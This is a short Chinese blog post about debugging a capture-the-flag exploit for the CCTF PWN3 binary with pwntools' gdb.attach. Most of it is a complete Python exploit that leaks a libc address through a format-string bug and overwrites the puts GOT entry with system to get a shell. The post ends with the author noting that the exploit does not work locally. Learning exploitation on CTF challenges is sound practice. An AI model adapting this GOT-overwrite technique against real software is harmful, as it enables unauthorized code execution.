2018-05-30

gdb.attach跟exp

好久不跟，每次图片都要生成链接，emmm………说到底还是懒。还是该坚持。

前言

学pwn之路上的一个必经之路就是debug，前几天看到一个格式化的题目，在安全课上有相关文章（戳我），对就是那个CCTF-PWN3，exp逻辑很简单，跟着bin看一下exp就能明白，但是始终EOF，无法成功getshell，还记得学长跟我们说过的：做pwn题关键就在于跟exp，了解是哪里利用不对。OK，那就学学如何attach。

正文

先贴上自己做这题的exp,具体的利用逻辑可以到上面的那个文章里进行查看：

#!/usr/bin/env python
from pwn import *

context.log_level = 'debug'

elf = ELF('pwn3')
libc = ELF('libc.so.6')

pr = process('./pwn3') 
#gdb.attach(pr, 'b *0x804889B')

username = "rxraclhm"

pr.recvuntil("Name (ftp.hacker.server:Rainism):")
pr.sendline(username)

# 1 -> get
# 2 -> put
# 3 -> dir
# other -> exit

def put(pr, name, content):
    pr.recvuntil("ftp>")
    pr.sendline('put') 
    pr.recvuntil("upload:")
    pr.sendline(name)
    pr.recvuntil("content:")
    pr.sendline(content)

def get(pr, name, num):
    pr.recvuntil("ftp>")
    pr.sendline('get')
    pr.recvuntil('get:')
    pr.sendline(name)
    return pr.recvn(num)

def dir(pr):
    pr.recvuntil("ftp>")
    pr.sendline('dir')

plt_puts = elf.symbols['puts']
print 'plt_puts= ' + hex(plt_puts)
got_puts = elf.got['puts']
print 'got_puts= ' + hex(got_puts)

# /bin/sh
pause()
put(pr, '/sh', '%8$s' + p32(got_puts))

text = get(pr, '/sh', 4)
puts_addr = u32(text)
print 'puts_addr= ' + hex(puts_addr)
system_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)

def foo(name, address, num):
    num = num & 0xff
    if num == 0 : num == 0x100
    payload = '%' + str(num) + 'c%10$hhn'
    payload = payload.ljust(12, 'A') 
    put(pr, name, payload + p32(address))
    get(pr, name, 0)

foo('n', got_puts, system_addr)
foo('i', got_puts+1, (system_addr>>8)+6)
foo('b', got_puts+2, system_addr>>16)
foo('/', got_puts+3, system_addr>>24)

#put(pr, '/sh', '%8$s' + p32(got_puts))

text = get(pr, '/sh', 4)
puts_addr = u32(text)
print 'puts_addr= ' + hex(puts_addr)
# system("/bin/sh")
dir(pr)
pr.interactive()

我们直接本地执行是无法getshell的